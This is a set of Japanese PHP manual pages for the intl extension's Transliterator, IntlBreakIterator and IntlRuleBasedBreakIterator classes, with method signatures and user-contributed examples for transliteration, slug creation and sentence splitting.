Transliterator::getErrorMessage -- transliterator_get_error_message — 直近のエラーメッセージを取得する

説明

オブジェクト指向型

public Transliterator::getErrorMessage ( ) : string

手続き型

transliterator_get_error_message ( Transliterator $trans ) : string

この Transliterator の直近のエラーメッセージを取得します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

trans

返り値

成功した場合にエラーメッセージを返します。 エラーがない場合や失敗した場合は false を返します。

参考

  • Transliterator::getErrorCode() - 直近のエラーコードを取得する
  • Transliterator::listIDs() - Transliterator の ID を取得する

User Contributed Notes

There are no user contributed notes for this page.


Transliterator の ID を取得する

  • ≪ Transliterator::getErrorMessage
  • Transliterator::transliterate ≫
  • PHP Manual
  • Transliterator
  • Transliterator の ID を取得する

Transliterator::listIDs

transliterator_list_ids

(PHP 5 >= 5.4.0, PHP 7, PECL intl >= 2.0.0)

Transliterator::listIDs -- transliterator_list_ids — Transliterator の ID を取得する

説明

オブジェクト指向型

public static Transliterator::listIDs ( ) : array|false

手続き型

transliterator_list_ids ( ) : array|false

登録されている Transliterator ID の配列を返します。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合は登録されている Transliterator ID の配列を返します。 失敗した場合に false を返します。

例

例1 登録済みの transliterator ID を取得する

<?php
print_r(Transliterator::listIDs());
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => ASCII-Latin
    [1] => Accents-Any
    [2] => Amharic-Latin/BGN
    [3] => Any-Accents
    [4] => Any-Publishing
...
    [650] => Any-ps_Latn/BGN
    [651] => Any-tk/BGN
    [652] => Any-ch_FONIPA
    [653] => Any-cs_FONIPA
    [654] => Any-cy_FONIPA
)

参考

  • Transliterator::getErrorMessage() - 直近のエラーメッセージを取得する
  • Transliterator::transliterate() - 文字列を音訳する

User Contributed Notes

There are no user contributed notes for this page.


文字列を音訳する

  • ≪ Transliterator::listIDs
  • IntlBreakIterator ≫
  • PHP Manual
  • Transliterator
  • 文字列を音訳する

Transliterator::transliterate

transliterator_transliterate

(PHP 5 >= 5.4.0, PHP 7, PECL intl >= 2.0.0)

Transliterator::transliterate -- transliterator_transliterate — 文字列を音訳する

説明

オブジェクト指向型

public Transliterator::transliterate ( string $subject , int $start = ? , int $end = ? ) : string|false

手続き型

transliterator_transliterate ( mixed $transliterator , string $subject , int $start = ? , int $end = ? )

文字列あるいはその一部をICU の音訳器を使って変換します。

パラメータ

transliterator

手続き型の場合に、Transliterator あるいは Transliterator を作成できる文字列を指定します。

subject

変換する文字列。

start

文字列の変換の開始位置を表すインデックス (UTF-16 コード単位) を指定します。指定した位置も、変換範囲に含まれます。 インデックスは 0 から始まります。この位置より前にあるテキストは、そのまま残ります。

end

文字列の変換の終了位置を表すインデックス (UTF-16 コード単位) を指定します。指定した位置は、変換範囲に含まれません。 インデックスは 0 から始まります。この位置も含めてそれ以降にあるテキストは、そのまま残ります。

返り値

成功した場合に変換後の文字列を返します。 失敗した場合に false を返します。

例

例1 エスケープされた UTF-16 コード単位の変換

<?php
$s = "\u304A\u65E9\u3046\u3054\u3056\u3044\u307E\u3059";
echo transliterator_transliterate("Hex-Any/Java", $s), "\n";

//now the reverse operation with a supplementary character
$supplChar = html_entity_decode('&#x1D11E;');
echo mb_strlen($supplChar, "UTF-8"), "\n";
$encSupplChar = transliterator_transliterate("Any-Hex/Java", $supplChar);
//echoes two encoded UTF-16 code units
echo $encSupplChar, "\n";
//and back
echo transliterator_transliterate("Hex-Any/Java", $encSupplChar), "\n";
?>

上の例の出力は、 たとえば以下のようになります。

お早うございます
1
\uD834\uDD1E
??

参考

  • Transliterator::getErrorMessage() - 直近のエラーメッセージを取得する
  • Transliterator::__construct() - インスタンス化を拒否するために private にしたコンストラクタ

User Contributed Notes

Anonymous 14-Nov-2016 10:04
There are some possibly undesirable conversions with ASCII//TRANSLIT//IGNORE or your users may require some custom stuff.

You might want to run a substitution up front for certain things, such as when you want 3 letter ISO codes to replace currency symbols. ￡ transliterates to "lb", for example, which is incorrect since it's a currency symbol, not a weight symbol (#).

ASCII//TRANSLIT//IGNORE does a great job within the realm of possibility :-)

When it doesn't do something you want it to, you can set up a CSV with one replacement per line and run a function like:

    function stripByMap($inputString, $mapFile)
    {
        $csv = file($mapFile);
        foreach($csv as $line)
        {
            $arrLine = explode(',', trim($line));
            $inputString = str_replace($arrLine[0],$arrLine[1],$inputString);
        }
        return $inputString;
    }

or you can write some regexes. Transliterating using ASCII//TRANSLIT//IGNORE  works so well that your map probably won't be very long...
simonsimcity at gmail dot com 05-Jun-2014 08:16
Sorry, for posting it again, but I found a bug in my code:

If you have a character, like the cyrillic ь (a soft-sign - no sound), the "Any-Latin" would translate it to a prime-character, and the "Latin-ASCII" doesn't touch prime-characters. Therefore I added an option to remove all characters, that are higher than \u0100.

Here's my new code, including an example:

var_dump(transliterator_transliterate('Any-Latin; Latin-ASCII; [\u0100-\u7fff] remove',
    "A a Ubermensch pa hoyeste niva! И я люблю PHP! есть. ?"));
// string(50) "A ae Ubermensch pa hoyeste niva! I a lublu PHP! est. fi"

Another approach, I found quite helpful (if you by no way want to remove characters ...), try to use iconv() in addition. This surely will just return ASCII characters.

See: http://stackoverflow.com/a/3542748/517914

Also an example here:

var_dump(iconv("UTF-8", "ASCII//TRANSLIT//IGNORE", transliterator_transliterate('Any-Latin; Latin-ASCII',
    "A a Ubermensch pa hoyeste niva! И я люблю PHP! есть. ?"));
// string(50) "A ae Ubermensch pa hoyeste niva! I a lublu PHP! est'. fi"
simonsimcity at gmail dot com 15-Apr-2013 06:11
I pretty much like the idea of hdogan, but there's at least one group of characters he's missing: ligature characters.
They're at least used in Norwegian and I read something about French, too ... Some are just used for styling (f.e. ?)

Here's an example that supports all characters (should at least, according to the documentation):
<?php
var_dump(transliterator_transliterate('Any-Latin; Latin-ASCII; Lower()', "A a Ubermensch pa hoyeste niva! И я люблю PHP! ?"));
// string(41) "a ae ubermensch pa hoyeste niva! i a lublu php! fi"
?>

In this example any character will firstly be converted to a latin character. If that's finished, replace all latin characters by their ASCII replacement.
hdogan at gmail dot com 11-Nov-2012 02:33
You can create slugs easily with:

<?php
function slugify($string) {
    $string = transliterator_transliterate("Any-Latin; NFD; [:Nonspacing Mark:] Remove; NFC; [:Punctuation:] Remove; Lower();", $string);
    $string = preg_replace('/[-\s]+/', '-', $string);
    return trim($string, '-');
}

echo slugify("Я люблю PHP!");
?>
jinmoku at hotmail dot com 09-Feb-2011 12:59
OOP version :

<?php
$str = 'aaaaaceeeeiiiinooooouuuuyy
AAAAACEEEEIIIINOOOOOUUUUY';
$rule = 'NFD; [:Nonspacing Mark:] Remove; NFC';

$myTrans = Transliterator::create($rule);
echo $myTrans->transliterate($str);

//aaaaaceeeeiiiinooooouuuuyy
//AAAAACEEEEIIIINOOOOOUUUUY
?>


The IntlBreakIterator class

(PHP 5 >= 5.5.0, PHP 7)

はじめに

A "break iterator" is an ICU object that exposes methods for locating boundaries in text (e.g. word or sentence boundaries). The PHP IntlBreakIterator serves as the base class for all types of ICU break iterators. Where extra functionality is available, the intl extension may expose the ICU break iterator with suitable subclasses, such as IntlRuleBasedBreakIterator or IntlCodePointBreakIterator.

This class implements Traversable. Traversing an IntlBreakIterator yields non-negative integer values representing the successive locations of the text boundaries, expressed as UTF-8 code units (byte) counts, taken from the beginning of the text (which has the location 0). The keys yielded by the iterator simply form the sequence of natural numbers {0, 1, 2, ...}.

クラス概要

IntlBreakIterator implements Traversable {
/* 定数 */
const int DONE = -1 ;
const int WORD_NONE = 0 ;
const int WORD_NONE_LIMIT = 100 ;
const int WORD_NUMBER = 100 ;
const int WORD_NUMBER_LIMIT = 200 ;
const int WORD_LETTER = 200 ;
const int WORD_LETTER_LIMIT = 300 ;
const int WORD_KANA = 300 ;
const int WORD_KANA_LIMIT = 400 ;
const int WORD_IDEO = 400 ;
const int WORD_IDEO_LIMIT = 500 ;
const int LINE_SOFT = 0 ;
const int LINE_SOFT_LIMIT = 100 ;
const int LINE_HARD = 100 ;
const int LINE_HARD_LIMIT = 200 ;
const int SENTENCE_TERM = 0 ;
const int SENTENCE_TERM_LIMIT = 100 ;
const int SENTENCE_SEP = 100 ;
const int SENTENCE_SEP_LIMIT = 200 ;
/* メソッド */
private __construct ( )
public static createCharacterInstance ( string $locale = ? ) : IntlBreakIterator
public static createCodePointInstance ( ) : IntlBreakIterator
public static createLineInstance ( string $locale = ? ) : IntlBreakIterator
public static createSentenceInstance ( string $locale = ? ) : IntlBreakIterator
public static createTitleInstance ( string $locale = ? ) : IntlBreakIterator
public static createWordInstance ( string $locale = ? ) : IntlBreakIterator
public current ( ) : int
public first ( ) : int
public following ( int $offset ) : int
public getErrorCode ( ) : int
intl_get_error_code ( ) : int
public getErrorMessage ( ) : string
intl_get_error_message ( ) : string
public getLocale ( string $locale_type ) : string
public getPartsIterator ( int $key_type = IntlPartsIterator::KEY_SEQUENTIAL ) : IntlPartsIterator
public getText ( ) : string
public isBoundary ( int $offset ) : bool
public last ( ) : int
public next ( int $offset = ? ) : int
public preceding ( int $offset ) : int
public previous ( ) : int
public setText ( string $text ) : bool
}

定義済み定数

IntlBreakIterator::DONE

IntlBreakIterator::WORD_NONE

IntlBreakIterator::WORD_NONE_LIMIT

IntlBreakIterator::WORD_NUMBER

IntlBreakIterator::WORD_NUMBER_LIMIT

IntlBreakIterator::WORD_LETTER

IntlBreakIterator::WORD_LETTER_LIMIT

IntlBreakIterator::WORD_KANA

IntlBreakIterator::WORD_KANA_LIMIT

IntlBreakIterator::WORD_IDEO

IntlBreakIterator::WORD_IDEO_LIMIT

IntlBreakIterator::LINE_SOFT

IntlBreakIterator::LINE_SOFT_LIMIT

IntlBreakIterator::LINE_HARD

IntlBreakIterator::LINE_HARD_LIMIT

IntlBreakIterator::SENTENCE_TERM

IntlBreakIterator::SENTENCE_TERM_LIMIT

IntlBreakIterator::SENTENCE_SEP

IntlBreakIterator::SENTENCE_SEP_LIMIT

目次

  • IntlBreakIterator::__construct — インスタンス化を禁止するためのprivateなコンストラクタ
  • IntlBreakIterator::createCharacterInstance — 文字シーケンスの組み合わせの境界用にイテレータを作る
  • IntlBreakIterator::createCodePointInstance — コードポイントの境界用にイテレータを作る
  • IntlBreakIterator::createLineInstance — 論理的に可能な改行用にイテレータを作る
  • IntlBreakIterator::createSentenceInstance — 文末用にイテレータを作る
  • IntlBreakIterator::createTitleInstance — タイトル文字の区切り用にイテレータを作る
  • IntlBreakIterator::createWordInstance — 単語の区切り用にイテレータを作る
  • IntlBreakIterator::current — 現在位置のインデックスを取得する
  • IntlBreakIterator::first — テキスト内の最初の文字を場所を取得する
  • IntlBreakIterator::following — 指定したオフセット以降の最初の境界までイテレータを進める
  • IntlBreakIterator::getErrorCode — このオブジェクトの直近のエラーコードを取得する
  • IntlBreakIterator::getErrorMessage — このオブジェクトの直近のエラーメッセージを取得する
  • IntlBreakIterator::getLocale — このオブジェクトに関連づけられたロケールを取得する
  • IntlBreakIterator::getPartsIterator — 境界と境界の間の navigating fragments 用にイテレータを作る
  • IntlBreakIterator::getText — スキャンするテキストを取得する
  • IntlBreakIterator::isBoundary — あるオフセットが境界のオフセットかどうかを調べる
  • IntlBreakIterator::last — イテレータの位置を、最後の文字より後に設定する
  • IntlBreakIterator::next — イテレータを次の境界まで進める
  • IntlBreakIterator::preceding — イテレータの位置を、指定したオフセット以前の最初の境界に設定する
  • IntlBreakIterator::previous — イテレータの位置を、現在位置の直前の境界に設定する
  • IntlBreakIterator::setText — スキャンするテキストを設定する

User Contributed Notes

SenseException 04-Dec-2013 08:53
Since there is no excample for the usage of the IntlBreakIterator yet, I made a small one:

<?php

$text = "Si contano i danni. Un morto a Roma, un treno ".
"deragliato e quattro feriti a Foggia, strade chiuse in tutto ".
"il sud, allagamenti e danni sulla costa ionica. A Pescara, ".
"1.500 sfollati per l'esondazione del Fosso Vallelunga. ".
"Dall'inizio dell'anno l'agricoltura ha subito un miliardo ".
"di euro di danni.";

$locale = 'it_IT';

$i = IntlBreakIterator::createSentenceInstance($locale);
$i->setText($text);

foreach($i->getPartsIterator() as $sentence) {
    echo $sentence . PHP_EOL . '----- next -----' .  PHP_EOL;
}

?>

Result:

Si contano i danni.
----- next -----
Un morto a Roma, un treno deragliato e quattro feriti a Foggia, strade chiuse in tutto il sud, allagamenti e danni sulla costa ionica.
----- next -----
A Pescara, 1.500 sfollati per l'esondazione del Fosso Vallelunga.
----- next -----
Dall'inizio dell'anno l'agricoltura ha subito un miliardo di euro di danni.
----- next -----


インスタンス化を禁止するためのprivateなコンストラクタ

  • ≪ IntlBreakIterator
  • IntlBreakIterator::createCharacterInstance ≫
  • PHP Manual
  • IntlBreakIterator
  • インスタンス化を禁止するためのprivateなコンストラクタ

IntlBreakIterator::__construct

(PHP 5 >= 5.5.0, PHP 7)

IntlBreakIterator::__construct — インスタンス化を禁止するためのprivateなコンストラクタ

説明

private IntlBreakIterator::__construct ( )

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


文字シーケンスの組み合わせの境界用にイテレータを作る

  • ≪ IntlBreakIterator::__construct
  • IntlBreakIterator::createCodePointInstance ≫
  • PHP Manual
  • IntlBreakIterator
  • 文字シーケンスの組み合わせの境界用にイテレータを作る

IntlBreakIterator::createCharacterInstance

(PHP 5 >= 5.5.0, PHP 7)

IntlBreakIterator::createCharacterInstance — 文字シーケンスの組み合わせの境界用にイテレータを作る

説明

public static IntlBreakIterator::createCharacterInstance ( string $locale = ? ) : IntlBreakIterator

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

locale

返り値

User Contributed Notes

There are no user contributed notes for this page.


コードポイントの境界用にイテレータを作る

  • ≪ IntlBreakIterator::createCharacterInstance
  • IntlBreakIterator::createLineInstance ≫
  • PHP Manual
  • IntlBreakIterator
  • コードポイントの境界用にイテレータを作る

IntlBreakIterator::createCodePointInstance

(PHP 5 >= 5.5.0, PHP 7)

IntlBreakIterator::createCodePointInstance — コードポイントの境界用にイテレータを作る

説明

public static IntlBreakIterator::createCodePointInstance ( ) : IntlBreakIterator

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


論理的に可能な改行用にイテレータを作る

  • ≪ IntlBreakIterator::createCodePointInstance
  • IntlBreakIterator::createSentenceInstance ≫
  • PHP Manual
  • IntlBreakIterator
  • 論理的に可能な改行用にイテレータを作る

IntlBreakIterator::createLineInstance

(PHP 5 >= 5.5.0, PHP 7)

IntlBreakIterator::createLineInstance — 論理的に可能な改行用にイテレータを作る

説明

public static IntlBreakIterator::createLineInstance ( string $locale = ? ) : IntlBreakIterator

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

locale

返り値

User Contributed Notes

There are no user contributed notes for this page.


文末用にイテレータを作る

  • ≪ IntlBreakIterator::createLineInstance
  • IntlBreakIterator::createTitleInstance ≫
  • PHP Manual
  • IntlBreakIterator
  • 文末用にイテレータを作る

IntlBreakIterator::createSentenceInstance

(PHP 5 >= 5.5.0, PHP 7)

IntlBreakIterator::createSentenceInstance — 文末用にイテレータを作る

説明

public static IntlBreakIterator::createSentenceInstance ( string $locale = ? ) : IntlBreakIterator

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

locale

返り値

User Contributed Notes

There are no user contributed notes for this page.


タイトル文字の区切り用にイテレータを作る

  • ≪ IntlBreakIterator::createSentenceInstance
  • IntlBreakIterator::createWordInstance ≫
  • PHP Manual
  • IntlBreakIterator
  • タイトル文字の区切り用にイテレータを作る

IntlBreakIterator::createTitleInstance

(PHP 5 >= 5.5.0, PHP 7)

IntlBreakIterator::createTitleInstance — タイトル文字の区切り用にイテレータを作る

説明

public static IntlBreakIterator::createTitleInstance ( string $locale = ? ) : IntlBreakIterator

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

locale

返り値

User Contributed Notes

There are no user contributed notes for this page.


単語の区切り用にイテレータを作る

  • ≪ IntlBreakIterator::createTitleInstance
  • IntlBreakIterator::current ≫
  • PHP Manual
  • IntlBreakIterator
  • 単語の区切り用にイテレータを作る

IntlBreakIterator::createWordInstance

(PHP 5 >= 5.5.0, PHP 7)

IntlBreakIterator::createWordInstance — 単語の区切り用にイテレータを作る

説明

public static IntlBreakIterator::createWordInstance ( string $locale = ? ) : IntlBreakIterator

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

locale

返り値

User Contributed Notes

There are no user contributed notes for this page.


現在位置のインデックスを取得する

  • ≪ IntlBreakIterator::createWordInstance
  • IntlBreakIterator::first ≫
  • PHP Manual
  • IntlBreakIterator
  • 現在位置のインデックスを取得する

IntlBreakIterator::current

(PHP 5 >= 5.5.0, PHP 7)

IntlBreakIterator::current — 現在位置のインデックスを取得する

説明

public IntlBreakIterator::current ( ) : int

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


テキスト内の最初の文字を場所を取得する

  • ≪ IntlBreakIterator::current
  • IntlBreakIterator::following ≫
  • PHP Manual
  • IntlBreakIterator
  • テキスト内の最初の文字を場所を取得する

IntlBreakIterator::first

(PHP 5 >= 5.5.0, PHP 7)

IntlBreakIterator::first — テキスト内の最初の文字を場所を取得する

説明

public IntlBreakIterator::first ( ) : int

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


指定したオフセット以降の最初の境界までイテレータを進める

  • ≪ IntlBreakIterator::first
  • IntlBreakIterator::getErrorCode ≫
  • PHP Manual
  • IntlBreakIterator
  • 指定したオフセット以降の最初の境界までイテレータを進める

IntlBreakIterator::following

(PHP 5 >= 5.5.0, PHP 7)

IntlBreakIterator::following — 指定したオフセット以降の最初の境界までイテレータを進める

説明

public IntlBreakIterator::following ( int $offset ) : int

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

offset

返り値

User Contributed Notes

There are no user contributed notes for this page.


このオブジェクトの直近のエラーコードを取得する

  • ≪ IntlBreakIterator::following
  • IntlBreakIterator::getErrorMessage ≫
  • PHP Manual
  • IntlBreakIterator
  • このオブジェクトの直近のエラーコードを取得する

IntlBreakIterator::getErrorCode

intl_get_error_code

(PHP 5 >= 5.5.0, PHP 7)

IntlBreakIterator::getErrorCode -- intl_get_error_code — このオブジェクトの直近のエラーコードを取得する

説明

オブジェクト指向型 (method):

public IntlBreakIterator::getErrorCode ( ) : int

手続き型:

intl_get_error_code ( ) : int

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


このオブジェクトの直近のエラーメッセージを取得する

  • ≪ IntlBreakIterator::getErrorCode
  • IntlBreakIterator::getLocale ≫
  • PHP Manual
  • IntlBreakIterator
  • このオブジェクトの直近のエラーメッセージを取得する

IntlBreakIterator::getErrorMessage

intl_get_error_message

(PHP 5 >= 5.5.0, PHP 7)

IntlBreakIterator::getErrorMessage -- intl_get_error_message — このオブジェクトの直近のエラーメッセージを取得する

説明

オブジェクト指向型 (method):

public IntlBreakIterator::getErrorMessage ( ) : string

手続き型:

intl_get_error_message ( ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


このオブジェクトに関連づけられたロケールを取得する

  • ≪ IntlBreakIterator::getErrorMessage
  • IntlBreakIterator::getPartsIterator ≫
  • PHP Manual
  • IntlBreakIterator
  • このオブジェクトに関連づけられたロケールを取得する

IntlBreakIterator::getLocale

(PHP 5 >= 5.5.0, PHP 7)

IntlBreakIterator::getLocale — このオブジェクトに関連づけられたロケールを取得する

説明

public IntlBreakIterator::getLocale ( string $locale_type ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

locale_type

返り値

User Contributed Notes

There are no user contributed notes for this page.


境界と境界の間の navigating fragments 用にイテレータを作る

  • ≪ IntlBreakIterator::getLocale
  • IntlBreakIterator::getText ≫
  • PHP Manual
  • IntlBreakIterator
  • 境界と境界の間の navigating fragments 用にイテレータを作る

IntlBreakIterator::getPartsIterator

(PHP 5 >= 5.5.0, PHP 7)

IntlBreakIterator::getPartsIterator — 境界と境界の間の navigating fragments 用にイテレータを作る

説明

public IntlBreakIterator::getPartsIterator ( int $key_type = IntlPartsIterator::KEY_SEQUENTIAL ) : IntlPartsIterator

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

key_type

オプションのキータイプ。可能な値は以下のとおりです:

  • IntlPartsIterator::KEY_SEQUENTIAL - デフォルト。シーケンシャルに増える整数をキーとして使います
  • IntlPartsIterator::KEY_LEFT - 現在のパートの左側のバイトオフセットをキーとして使います。
  • IntlPartsIterator::KEY_RIGHT - 現在のパートの右側のバイトオフセットをキーとして使います。

返り値

User Contributed Notes

There are no user contributed notes for this page.


スキャンするテキストを取得する

  • ≪ IntlBreakIterator::getPartsIterator
  • IntlBreakIterator::isBoundary ≫
  • PHP Manual
  • IntlBreakIterator
  • スキャンするテキストを取得する

IntlBreakIterator::getText

(PHP 5 >= 5.5.0, PHP 7)

IntlBreakIterator::getText — スキャンするテキストを取得する

説明

public IntlBreakIterator::getText ( ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


あるオフセットが境界のオフセットかどうかを調べる

  • ≪ IntlBreakIterator::getText
  • IntlBreakIterator::last ≫
  • PHP Manual
  • IntlBreakIterator
  • あるオフセットが境界のオフセットかどうかを調べる

IntlBreakIterator::isBoundary

(PHP 5 >= 5.5.0, PHP 7)

IntlBreakIterator::isBoundary — あるオフセットが境界のオフセットかどうかを調べる

説明

public IntlBreakIterator::isBoundary ( int $offset ) : bool

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

offset

返り値

User Contributed Notes

There are no user contributed notes for this page.


イテレータの位置を、最後の文字より後に設定する

  • ≪ IntlBreakIterator::isBoundary
  • IntlBreakIterator::next ≫
  • PHP Manual
  • IntlBreakIterator
  • イテレータの位置を、最後の文字より後に設定する

IntlBreakIterator::last

(PHP 5 >= 5.5.0, PHP 7)

IntlBreakIterator::last — イテレータの位置を、最後の文字より後に設定する

説明

public IntlBreakIterator::last ( ) : int

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


イテレータを次の境界まで進める

  • ≪ IntlBreakIterator::last
  • IntlBreakIterator::preceding ≫
  • PHP Manual
  • IntlBreakIterator
  • イテレータを次の境界まで進める

IntlBreakIterator::next

(PHP 5 >= 5.5.0, PHP 7)

IntlBreakIterator::next — イテレータを次の境界まで進める

説明

public IntlBreakIterator::next ( int $offset = ? ) : int

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

offset

返り値

User Contributed Notes

There are no user contributed notes for this page.


イテレータの位置を、指定したオフセット以前の最初の境界に設定する

  • ≪ IntlBreakIterator::next
  • IntlBreakIterator::previous ≫
  • PHP Manual
  • IntlBreakIterator
  • イテレータの位置を、指定したオフセット以前の最初の境界に設定する

IntlBreakIterator::preceding

(PHP 5 >= 5.5.0, PHP 7)

IntlBreakIterator::preceding — イテレータの位置を、指定したオフセット以前の最初の境界に設定する

説明

public IntlBreakIterator::preceding ( int $offset ) : int

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

offset

返り値

User Contributed Notes

There are no user contributed notes for this page.


イテレータの位置を、現在位置の直前の境界に設定する

  • ≪ IntlBreakIterator::preceding
  • IntlBreakIterator::setText ≫
  • PHP Manual
  • IntlBreakIterator
  • イテレータの位置を、現在位置の直前の境界に設定する

IntlBreakIterator::previous

(PHP 5 >= 5.5.0, PHP 7)

IntlBreakIterator::previous — イテレータの位置を、現在位置の直前の境界に設定する

説明

public IntlBreakIterator::previous ( ) : int

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


スキャンするテキストを設定する

  • ≪ IntlBreakIterator::previous
  • IntlRuleBasedBreakIterator ≫
  • PHP Manual
  • IntlBreakIterator
  • スキャンするテキストを設定する

IntlBreakIterator::setText

(PHP 5 >= 5.5.0, PHP 7)

IntlBreakIterator::setText — スキャンするテキストを設定する

説明

public IntlBreakIterator::setText ( string $text ) : bool

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

text

返り値

User Contributed Notes

There are no user contributed notes for this page.


The IntlRuleBasedBreakIterator class

(PHP 5 >= 5.5.0, PHP 7)

はじめに

A subclass of IntlBreakIterator that encapsulates ICU break iterators whose behavior is specified using a set of rules. This is the most common kind of break iterators.

These rules are described in the » ICU Boundary Analysis User Guide.

クラス概要

IntlRuleBasedBreakIterator extends IntlBreakIterator implements Traversable {
/* 継承した定数 */
const int IntlBreakIterator::DONE = -1 ;
const int IntlBreakIterator::WORD_NONE = 0 ;
const int IntlBreakIterator::WORD_NONE_LIMIT = 100 ;
const int IntlBreakIterator::WORD_NUMBER = 100 ;
const int IntlBreakIterator::WORD_NUMBER_LIMIT = 200 ;
const int IntlBreakIterator::WORD_LETTER = 200 ;
const int IntlBreakIterator::WORD_LETTER_LIMIT = 300 ;
const int IntlBreakIterator::WORD_KANA = 300 ;
const int IntlBreakIterator::WORD_KANA_LIMIT = 400 ;
const int IntlBreakIterator::WORD_IDEO = 400 ;
const int IntlBreakIterator::WORD_IDEO_LIMIT = 500 ;
const int IntlBreakIterator::LINE_SOFT = 0 ;
const int IntlBreakIterator::LINE_SOFT_LIMIT = 100 ;
const int IntlBreakIterator::LINE_HARD = 100 ;
const int IntlBreakIterator::LINE_HARD_LIMIT = 200 ;
const int IntlBreakIterator::SENTENCE_TERM = 0 ;
const int IntlBreakIterator::SENTENCE_TERM_LIMIT = 100 ;
const int IntlBreakIterator::SENTENCE_SEP = 100 ;
const int IntlBreakIterator::SENTENCE_SEP_LIMIT = 200 ;
/* メソッド */
public __construct ( string $rules , string $areCompiled = ? )
public getBinaryRules ( ) : string
public getRules ( ) : string
public getRuleStatus ( ) : int
public getRuleStatusVec ( ) : array
/* 継承したメソッド */
private IntlBreakIterator::__construct ( )
public static IntlBreakIterator::createCharacterInstance ( string $locale = ? ) : IntlBreakIterator
public static IntlBreakIterator::createCodePointInstance ( ) : IntlBreakIterator
public static IntlBreakIterator::createLineInstance ( string $locale = ? ) : IntlBreakIterator
public static IntlBreakIterator::createSentenceInstance ( string $locale = ? ) : IntlBreakIterator
public static IntlBreakIterator::createTitleInstance ( string $locale = ? ) : IntlBreakIterator
public static IntlBreakIterator::createWordInstance ( string $locale = ? ) : IntlBreakIterator
public IntlBreakIterator::current ( ) : int
public IntlBreakIterator::first ( ) : int
public IntlBreakIterator::following ( int $offset ) : int
public IntlBreakIterator::getErrorCode ( ) : int
intl_get_error_code ( ) : int
public IntlBreakIterator::getErrorMessage ( ) : string
intl_get_error_message ( ) : string
public IntlBreakIterator::getLocale ( string $locale_type ) : string
public IntlBreakIterator::getPartsIterator ( int $key_type = IntlPartsIterator::KEY_SEQUENTIAL ) : IntlPartsIterator
public IntlBreakIterator::getText ( ) : string
public IntlBreakIterator::isBoundary ( int $offset ) : bool
public IntlBreakIterator::last ( ) : int
public IntlBreakIterator::next ( int $offset = ? ) : int
public IntlBreakIterator::preceding ( int $offset ) : int
public IntlBreakIterator::previous ( ) : int
public IntlBreakIterator::setText ( string $text ) : bool
}

目次

  • IntlRuleBasedBreakIterator::__construct — Create iterator from ruleset
  • IntlRuleBasedBreakIterator::getBinaryRules — Get the binary form of compiled rules
  • IntlRuleBasedBreakIterator::getRules — Get the rule set used to create this object
  • IntlRuleBasedBreakIterator::getRuleStatus — Get the largest status value from the break rules that determined the current break position
  • IntlRuleBasedBreakIterator::getRuleStatusVec — Get the status values from the break rules that determined the current break position

User Contributed Notes

There are no user contributed notes for this page.


Create iterator from ruleset

  • ≪ IntlRuleBasedBreakIterator
  • IntlRuleBasedBreakIterator::getBinaryRules ≫
  • PHP Manual
  • IntlRuleBasedBreakIterator
  • Create iterator from ruleset

IntlRuleBasedBreakIterator::__construct

(PHP 5 >= 5.5.0, PHP 7)

IntlRuleBasedBreakIterator::__construct — Create iterator from ruleset

説明

public IntlRuleBasedBreakIterator::__construct ( string $rules , string $areCompiled = ? )

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

rules

areCompiled

返り値

User Contributed Notes

There are no user contributed notes for this page.


Get the binary form of compiled rules

  • ≪ IntlRuleBasedBreakIterator::__construct
  • IntlRuleBasedBreakIterator::getRules ≫
  • PHP Manual
  • IntlRuleBasedBreakIterator
  • Get the binary form of compiled rules

IntlRuleBasedBreakIterator::getBinaryRules

(PHP 5 >= 5.5.0, PHP 7)

IntlRuleBasedBreakIterator::getBinaryRules — Get the binary form of compiled rules

説明

public IntlRuleBasedBreakIterator::getBinaryRules ( ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

